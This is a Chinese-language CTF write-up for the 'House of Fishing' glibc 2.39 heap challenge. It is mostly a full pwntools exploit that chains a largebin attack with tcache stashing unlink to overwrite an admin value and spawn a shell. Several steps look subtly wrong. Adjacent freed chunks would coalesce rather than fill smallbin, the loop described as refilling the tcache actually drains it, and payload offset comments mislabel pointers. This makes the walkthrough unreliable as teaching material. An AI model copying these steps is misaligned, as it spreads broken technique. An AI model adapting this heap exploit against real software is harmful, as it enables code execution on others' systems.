TRX CTF 2026 House of Fishing 漏洞利用教学文档
一、背景与目标
本题为 TRX CTF 2026 堆题,核心目标是在无 show() 功能(无法泄露堆地址)的情况下,通过堆利用实现任意地址写,修改 *admin 为目标值(0xdeadbeefdeadcafe),触发 win() 函数执行 system("/bin/sh") 获取 shell。
程序保护机制:Arch(amd64)、Full RELRO、Canary、NX、PIE、SHSTK、IBT(高版本 glibc 2.39-0ubuntu8.5,保护全开)。
二、程序核心逻辑分析
1. 功能接口
程序提供 5 个核心功能,无读内存(show())功能,常规堆利用(如修改 fd 污染 tcache)失效:
| 功能 | 函数 | 行为 |
|---|---|---|
| 创建 | create() |
按索引 idx 分配 size(16 字节对齐,<0x500)的 chunk,存储至 ptrs[idx] |
| 更新 | update() |
向 ptrs[idx] 写入 sizes[idx] 字节数据 |
| 删除 | delete() |
释放 ptrs[idx] 指向的 chunk |
| 复制 | copy() |
将 src 索引 chunk 数据复制到 dest 索引 chunk(长度取两者最小值) |
| 触发后门 | win() |
若 *admin == 0xdeadbeefdeadcafe,执行 system("/bin/sh") |
2. 关键目标:admin 变量
win() 函数的核心校验条件为 *admin == 0xdeadbeefdeadcafe。admin 是全局变量(地址固定,如示例中 0x1337000),需通过堆利用实现任意地址写,将其指向的值修改为上述 magic 值。
三、核心攻击思路
无 show() 无法直接泄露堆地址,常规 tcache 污染(修改 fd)失效。需结合 largebin attack 和 tcache stashing unlink 两种堆利用手法,实现“无泄露任意地址写”:
- largebin attack:向目标地址(
admin + 8)写入有效堆地址,绕过 tcache stashing unlink 对bk指针的有效性检查。 - tcache stashing unlink:将目标地址(
admin)伪装为 smallbin chunk,通过 stashing 机制将其放入 tcache,最终通过malloc()取出并修改为目标值。
四、攻击步骤详解
阶段 1:准备 Bins 结构(构造 smallbin 与 tcache)
目标:提前构建稳定的 smallbin 和 tcache,避免后续堆结构混乱。
操作代码:
# 1. 填充 tcache(7 个 0x90 大小的 chunk)
for i in range(7):
malloc(i, 0x90) # 申请 7 个 0x90 的 chunk(tcache 最大容量为 7)
# 2. 构建 smallbin(6 个 0x90 大小的 chunk)
for i in range(6):
malloc(10 + i, 0x90) # 申请 6 个 0x90 的 chunk(用于放入 smallbin)
malloc(20 + 1, 0x20) # 申请 0x20 的 chunk,防止后续 free 时合并
# 3. 释放 chunk 填充 tcache 和 smallbin
for i in range(7):
free(i) # 释放前 7 个 0x90 chunk,填满 tcache
for i in range(6):
free(10 + i) # 释放 6 个 0x90 chunk,放入 smallbin
# 4. 触发 unsortedbin → smallbin 转移
malloc(30, 0x490) # 申请大 chunk,将 unsortedbin 中的 0x90 chunk 放入 smallbin
结果:6 个 0x90 大小的 chunk 成功进入 smallbin,tcache 被填满(7 个 0x90 chunk)。
阶段 2:Largebin Attack(写入有效堆地址至目标地址)
目标:向 admin + 8 写入有效堆地址,确保后续 tcache stashing unlink 时 bk 指针有效。
原理
largebin 中的 chunk 按大小排序,其 bk 指针可被篡改。通过构造 fake chunk,利用 largebin 的插入逻辑,将目标地址(admin + 8)写入堆地址。
操作步骤
-
申请与释放 chunk 构建 largebin:
admin = 0x1337000 # admin 全局变量地址(示例) malloc(40, 0x420) # p1(大小 0x420,属于 largebin) malloc(41, 0x400) # 占位 chunk malloc(42, 0x410) # p2(大小 0x410,属于 largebin) malloc(43, 0x400) # 占位 chunk free(40) # 释放 p1,进入 unsortedbin malloc(44, 0x430) # 申请更大的 chunk,触发 unsortedbin → largebin 转移 free(42) # 释放 p2,进入 unsortedbin -
篡改 largebin chunk 指针:
编辑已释放的 chunk(索引 40),构造 fake chunk 覆盖bk和fd指针:payload = flat({ 0x08: admin - 0x10 + 0x100, # fake chunk 的 bk 指向 admin + 0x100 - 0x10 0x18: admin - 0x20 + 0x8 # fake chunk 的 fd 指向 admin + 0x8 - 0x20 }, filler=b"\x00", length=0x420) edit(40, payload) # 修改 chunk 40 的数据 -
触发 largebin attack:
申请新的 largebin chunk,触发 largebin 插入逻辑,将堆地址写入admin + 8:malloc(45, 0x430) # 申请 chunk,触发 largebin 排序,写入堆地址至 admin + 8结果:
admin + 8处存储有效堆地址,绕过后续 tcache stashing unlink 的bk有效性检查。
阶段 3:Tcache Stashing Unlink(将目标地址放入 tcache)
目标:通过 tcache stashing unlink 机制,将 admin 地址伪装为 smallbin chunk 并放入 tcache。
原理
当 tcache 未满且有 smallbin chunk 时,malloc() 会从 smallbin 中取出 chunk 放入 tcache(stashing)。smallbin 的 bk 指针无 safe linking 保护,可直接篡改为 admin - 0x10(伪装为 chunk 头)。
操作步骤
-
重新填充 tcache:
for i in range(7): malloc(i, 0x90) # 重新申请 7 个 0x90 chunk,填满 tcache(覆盖之前释放的) -
篡改 smallbin chunk 的 bk 指针:
选择 smallbin 中的一个 chunk(如索引 15),修改其bk指针为admin - 0x10(伪装为 chunk 头):payload = flat({ 0x08: admin - 0x10 # smallbin chunk 的 bk 指向 admin - 0x10(fake chunk 头) }, filler=b"\x00", length=0x90) edit(15, payload) # 修改 chunk 15 的数据 -
触发 tcache stashing unlink:
申请 0x90 大小的 chunk,触发 stashing 机制,将admin地址放入 tcache:malloc(50, 0x90) # 申请 chunk,触发 stashing,admin 地址进入 tcache malloc(51, 0x90) # 继续申请,消耗 tcache 中的其他 chunk malloc(52, 0x90) # 此时 tcache 中取出的是 admin 地址对应的 chunk结果:
admin地址被成功放入 tcache,可通过malloc(52)取出。
阶段 4:Getshell(修改 admin 指向的值为 magic 值)
目标:通过 update() 修改 admin 指向的内存值为 0xdeadbeefdeadcafe。
操作代码:
payload = flat({
0x00: 0xdeadbeefdeadcafe # 目标 magic 值
}, filler=b"\x00", length=0x90)
edit(52, payload) # 修改 admin 指向的值为 magic 值
menu(5) # 调用 win() 函数,触发 system("/bin/sh")
结果:*admin == 0xdeadbeefdeadcafe,win() 函数执行 system("/bin/sh"),成功获取 shell。
五、完整 Exploit 代码(Python + pwntools)
from pwn import *
context(arch='amd64', os='linux')
io = process('./house_of_fishing')
def malloc(idx, size):
io.sendlineafter(b"choice: ", b"1")
io.sendlineafter(b"index: ", str(idx).encode())
io.sendlineafter(b"size: ", str(size).encode())
def edit(idx, data):
io.sendlineafter(b"choice: ", b"2")
io.sendlineafter(b"index: ", str(idx).encode())
io.send(data)
def free(idx):
io.sendlineafter(b"choice: ", b"3")
io.sendlineafter(b"index: ", str(idx).encode())
def menu(choice):
io.sendlineafter(b"choice: ", str(choice).encode())
# 阶段 1:准备 Bins
for i in range(7):
malloc(i, 0x90)
for i in range(6):
malloc(10 + i, 0x90)
malloc(20 + 1, 0x20)
for i in range(7):
free(i)
for i in range(6):
free(10 + i)
malloc(30, 0x490)
# 阶段 2:Largebin Attack
admin = 0x1337000
malloc(40, 0x420)
malloc(41, 0x400)
malloc(42, 0x410)
malloc(43, 0x400)
free(40)
malloc(44, 0x430)
free(42)
payload = flat({
0x08: admin - 0x10 + 0x100,
0x18: admin - 0x20 + 0x8
}, filler=b"\x00", length=0x420)
edit(40, payload)
malloc(45, 0x430)
# 阶段 3:Tcache Stashing Unlink
for i in range(7):
malloc(i, 0x90)
payload = flat({
0x08: admin - 0x10
}, filler=b"\x00", length=0x90)
edit(15, payload)
malloc(50, 0x90)
malloc(51, 0x90)
malloc(52, 0x90)
# 阶段 4:Getshell
payload = flat({
0x00: 0xdeadbeefdeadcafe
}, filler=b"\x00", length=0x90)
edit(52, payload)
menu(5)
io.interactive()
六、关键技术点总结
- 无
show()的任意地址写:通过 largebin attack + tcache stashing unlink 组合,无需泄露堆地址即可实现任意地址写。 - Largebin Attack 作用:向目标地址写入有效堆地址,绕过 tcache stashing unlink 对
bk指针的有效性检查。 - Tcache Stashing Unlink 关键:篡改 smallbin chunk 的
bk指针为admin - 0x10,利用其无 safe linking 保护的特性,将目标地址伪装为 chunk 放入 tcache。 - 高版本 glibc 适配:针对 glibc 2.39,需提前构造 bins 结构,避免堆合并导致的结构混乱。
七、参考资源
- 原始 Writeup:TRX CTF 2026 house-of-fishing Writeup · rawpayload
- 题目附件:
house_of_fishing.zip(包含 elf、源码、dockerfile)